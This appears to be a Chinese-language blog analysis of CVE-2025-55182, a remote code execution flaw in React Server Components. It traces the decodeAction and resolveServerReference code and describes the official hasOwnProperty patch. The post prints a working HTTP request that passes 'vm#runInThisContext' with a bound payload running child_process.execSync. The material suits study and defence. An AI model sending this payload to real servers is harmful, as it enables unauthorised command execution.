CVE-2025-55182 组件介绍
React Server Components 是 React 团队在 React 18 实验阶段提出、在 React 19 正式稳定 的革命性特性。它真正实现了「服务器上直接执行代码、客户端只收纯 HTML」的理想状态,性能提升极其恐怖(首屏往往快 50%~80%),但也正因为它把「客户端触发的服务器函数执行权」彻底开放,才导致了史诗级漏洞 CVE-2025-55182(CVSS 10.0)
1 2 3 4 5 6 7 8 9 10 async function addToCart (itemId: string ) { 'use server' ; await db.cart .add (currentUserId, itemId); } <form action={addToCart}> <input name ="itemId" /> <button > 加入购物车</button > </form>
提交表单时,React 会把这个函数调用序列化,通过 React Flight 协议 传给服务器,服务器反序列化后直接执行。
环境搭建
个人环境版本 npm v10.2.4 node v20.11.1
环境搭建
git clone https://github.com/ejpir/CVE-2025-55182-research.git
npm install
npm start
漏洞分析 打开server.js, 进行代码分析
根据项目作者的注释提示, 该漏洞利用链是
1 THE VULNERABLE CALL - decodeAction → loadServerReference → requireModule
漏洞成因是没有对引入的模块进行hasOwnProperty检查
我们跟进decodeAction
1 2 3 4 5 6 7 8 9 10 11 12 13 14 const path = require ('path' );const fs = require ('fs' );const bundledPath = path.join (__dirname, '../node_modules/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js' );console .log ('Loading:' , bundledPath);const moduleCode = fs.readFileSync (bundledPath, 'utf8' );const moduleExports = {};const moduleWrapper = new Function ('exports' , 'require' , '__dirname' , '__filename' , moduleCode);moduleWrapper (moduleExports, require , path.dirname (bundledPath), bundledPath);const { decodeAction } = moduleExports;
该代码段主要手动模拟了Node.js的模块加载机制, 加载react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js模块
加载模块后, 调用decodeAction函数
即调用了react-server里的exports.decodeAction函数传入的参数, 分析一下
把三元运算符改为if-else更好理解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 exports .decodeAction = function (body, serverManifest ) { var formData = new FormData (), action = null ; body.forEach (function (value, key ) { if (key.startsWith ("$ACTION_" )) { if (key.startsWith ("$ACTION_REF_" )) { value = "$ACTION_" + key.slice (12 ) + ":" ; value = decodeBoundActionMetaData (body, serverManifest, value); action = loadServerReference (serverManifest, value.id , value.bound ); } else if (key.startsWith ("$ACTION_ID_" )) { value = key.slice (11 ); action = loadServerReference (serverManifest, value, null ); } } else { formData.append (key, value); } }); return null === action ? null : action.then (function (fn ) { return fn.bind (null , formData); }); };
由于最终要判断action是否为空我们要跟进action的赋值操作, 需要跟进loadServerReference函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function loadServerReference (bundlerConfig, id, bound ) { var serverReference = resolveServerReference (bundlerConfig, id); bundlerConfig = preloadModule (serverReference); return bound ? Promise .all ([bound, bundlerConfig]).then (function (_ref ) { _ref = _ref[0 ]; var fn = requireModule (serverReference); return fn.bind .apply (fn, [null ].concat (_ref)); }) : bundlerConfig ? Promise .resolve (bundlerConfig).then (function ( ) { return requireModule (serverReference); }) : Promise .resolve (requireModule (serverReference)); }
在return bound处判断是否有 bound 参数,如果有则获取函数并绑定参数返回可执行函数。
而bundlerConfig也是很重要的一个点,可以将其理解为服务器清单,攻击者利用bundlerConfig中存在的函数才能进行RCE
如child_process 、vm 等,如果攻击者利用的函数不在这个服务器清单中则无法利用
跟进resolveServerReference
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 var name = "" , resolvedModuleData = bundlerConfig[id]; if (resolvedModuleData) name = resolvedModuleData.name ;function resolveServerReference (bundlerConfig, id ) { var name = "" , resolvedModuleData = bundlerConfig[id]; if (resolvedModuleData) name = resolvedModuleData.name ; else { var idx = id.lastIndexOf ("#" ); -1 !== idx && ((name = id.slice (idx + 1 )), (resolvedModuleData = bundlerConfig[id.slice (0 , idx)])); if (!resolvedModuleData) throw Error ( 'Could not find the module "' + id + '" in the React Server Manifest. This is probably a bug in the React Server Components bundler.' ); } return resolvedModuleData.async ? [resolvedModuleData.id , resolvedModuleData.chunks , name, 1 ] : [resolvedModuleData.id , resolvedModuleData.chunks , name]; }
最大的问题在这个函数里面
1 2 3 var name = "" , resolvedModuleData = bundlerConfig[id]; if (resolvedModuleData) name = resolvedModuleData.name ;
代码尝试直接去进行匹配刚才说的服务器清单中的函数,如果不存在则认定为是类似于abc#123456 的格式,#前面作为模块ID,后面作为属性名,代码尝试使用模块ID进行匹配,如果匹配到则正常返回函数坐标,匹配不到则抛出错误。
可以看到代码对传进来的ID没有任何校验,也就导致了这个漏洞的产生
接下来看一下vm这个模块
vm 是Node.js的核心模块,用于在V8虚拟机上下文中运行代码。在这个模块中存在一个危险方法叫做runInThisContext :它能在当前的全局作用域下编译并执行一段JS代码。与 eval 在局部作用域运行不同,它在更高的作用域运行。它执行的代码能够访问Node.js的全局对象(global)和所有内置模块,就像普通的Node.js代码一样
由此最基础的POC就可以很轻松的写出来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 POST /formaction HTTP/1.1 Host : 127.0.0.1:3002User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Assetnote/1.0.0Next-Action : xX-Nextjs-Request-Id : 7a3f9c1eX-Nextjs-Html-Request-Id : 9bK2mPqRtVwXyZ3$@!sT7uContent-Type : multipart/form-data; boundary=----BoundaryConnection : closeAccept : */*Accept-Language : en-US,en;q=0.9Content-Length : 571Content-Disposition: form-data; name ="$ACTION_REF_0" Content-Disposition: form-data; name ="$ACTION_0:0" {"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()"]}
传入vm#runInThisContext,由上述逻辑拆成vm和runInThisContext,bound参数传入loadServerReference() 执行。
执行命令后
可见vm模块成功调用, runInThisContext将bound对应的内容当做代码执行, 实现了RCE
由此最基础的POC分析就结束了
修复建议 官方修复补丁
补丁解析 补丁添加了hasOwnProperty 鉴权
React 官方添加该鉴权后,核心解决以下问题:
阻断原型链污染攻击 未修复前的风险 :
1 2 3 4 5 6 7 Object .prototype .isValid = true ; const config = {}; if (config.isValid ) { ReactDOM .render (<DangerousComponent /> , root); }
修复后(添加 hasOwnProperty 鉴权) :
1 2 3 4 5 const config = {};if (config.hasOwnProperty ('isValid' ) && config.isValid ) { ReactDOM .render (<SafeComponent /> , root); }
→ 核心:只认「自身属性」,无视原型链上的伪造属性 ,彻底阻断攻击者通过原型链注入恶意属性的路径
1 2 3 4 if (hasOwnProperty.call (moduleExports, metadata[NAME ])) { return moduleExports[metadata[NAME ]]; } return (undefined : any);
此代码校验 moduleExports 自身是否存在 metadata[NAME] 这个属性(排除原型链继承的属性)
加固 React 对不可信输入的处理 CVE-2025-55182 的攻击场景通常涉及「不可信输入」(如用户提交的表单数据、第三方组件传入的 props、服务端返回的 JSON 数据),这些数据可能被攻击者篡改原型链。
React 作为前端框架,需保障「无论输入如何,内部逻辑不被原型链污染影响」。hasOwnProperty 是 JavaScript 中防御原型链污染的基础且高效的手段